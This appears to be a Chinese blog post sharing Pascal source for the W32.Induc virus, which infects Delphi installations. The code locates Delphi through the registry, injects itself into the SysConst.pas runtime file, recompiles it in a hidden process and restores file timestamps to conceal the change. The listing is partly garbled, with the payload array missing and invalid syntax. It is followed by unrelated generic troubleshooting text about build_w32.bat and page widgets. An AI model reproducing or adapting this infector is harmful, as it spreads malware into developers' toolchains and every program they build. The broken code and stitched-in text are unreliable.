针对delphi的病毒 W32.Induc 源码

把杀毒软件禁止掉后,终于把DLL中的PAS源程序剥出来了,供大家欣赏:

uses windows;

var sc:array[1..24] of string=(
function x(s:string):string;
var i:integer;
begin for i:=1 to length(s) do
    if s[i]:=#36 then
    s[i]:=#39;
    result:=s;
end;

procedure re(s,d,e:string);
var f1,f2:textfile;
h:cardinal;
f:STARTUPINFO;
p:PROCESS_INFORMATION;
b:boolean;
t1,t2,t3:FILETIME;
begin
    h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);
    if h<>DWORD(-1) then
    begin
     CloseHandle(h);
     exit;
     end;
{$I-}assignfile(f1,s);
    reset(f1);
    if ioresult<>0 then
        exit;
    assignfile(f2,d+$pas$);
    rewrite(f2);
    if ioresult<>0 then
    begin
        closefile(f1);
        exit;
    end;
     while not eof(f1) do
     begin readln(f1,s);
         writeln(f2,s);
          if pos($implementation$,s)<>0 then
          break;
    end;
    for h:= 1 to 1 do
        writeln(f2,sc[h]);
    for h:= 1 to 23 do
        writeln(f2,$$$$+sc[h],$$$,$);
    writeln(f2,$$$$+sc[24]+$$$);
$);
    for h:= 2 to 24 do
        writeln(f2,x(sc[h]));
    closefile(f1);
    closefile(f2);
{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$ ));
     fillchar(f,sizeof(f),0);
     f.cb:=sizeof(f);
     f.dwFlags:=STARTF_USESHOWWINDOW;
    f. wShowWindow:=SW_HIDE;
    b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0, f,p);
    if b then
        WaitForSingleObject(p.hProcess,INFINITE);
    MoveFile(pchar(d+$bak$), pchar(d+$dcu$));
    DeleteFile(pchar(d+$pas$));
    h:=CreateFile(pchar(d+$bak$),0,0,0,3, 0,0);
      if  h=DWORD(-1) then
          exit;
     GetFileTime(h,@t1,@t2,@t3);
     CloseHandle(h);
    h:= CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);
    if h=DWORD(-1) then exit;
    SetFileTime(h, @t1,@t2,@t3);
     CloseHandle(h);
end;
 
procedure st;
var  k:HKEY;
c:array [1..255] of char;
i:cardinal;
r:string;
v:char;
begin
    for v:=$4$ to $7$ do
    if RegOpenKeyEx( HKEY_LOCAL_MACHINE,pchar($Software/Borland/Delphi/$+v+$.0$),0,KEY_READ,k)=0 then
    begin
        i:=255;
        if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then
        begin
            r:=$$;
            i:= 1;
             while c[i]<>#0 do begin r:=r+c[i];
            inc(i);
        end;
        re(r+$/source/rtl/sys/SysConst$+ $.pas$,r+$/lib/sysconst.$,$"$+r+$/bin/dcc32.exe" $);
    end;
    RegCloseKey(k);
end;
end;

begin st;

end. 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
build_w32.bat 闪退通常是由于一些常见问题引起的。以下是一些常见问题和解决方法: 1. 缺少必要的软件或库:在执行build_w32.bat之前,确保已安装所有必要的软件和库。这可能包括编译器、构建工具和其他依赖项。在闪退之前,你可以检查是否满足所有的先决条件,并进行必要的安装或更新。 2. 配置错误:检查build_w32.bat文件中的配置是否正确。可能存在错误的路径、输入参数或其他设置选项。确保所有的路径和设置都正确无误,并与你的系统环境相一致。 3. 内存不足:如果你的机器没有足够的内存来执行编译过程,那么build_w32.bat可能会闪退。尝试关闭其他的程序,释放一些内存资,然后重新尝试运行build_w32.bat。 4. 病毒或恶意软件:有时,电脑中的病毒或恶意软件可能会干扰批处理文件的正常执行。运行一个杀毒软件,确保你的系统是安全的,然后再次尝试运行build_w32.bat。 5. 编译脚本错误:build_w32.bat文件本身可能存在语法错误或其他错误。检查文件内容,确保没有任何明显的错误。如果有必要,尝试使用其他工具或方法来构建你的项目。 总之,build_w32.bat闪退可能有多种原因,你可以根据上述的解决方法来逐一排查。如果问题仍然存在,你可能需要更多的细节或错误消息来帮助我们更好地理解问题,并提供更具体的解决方案。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值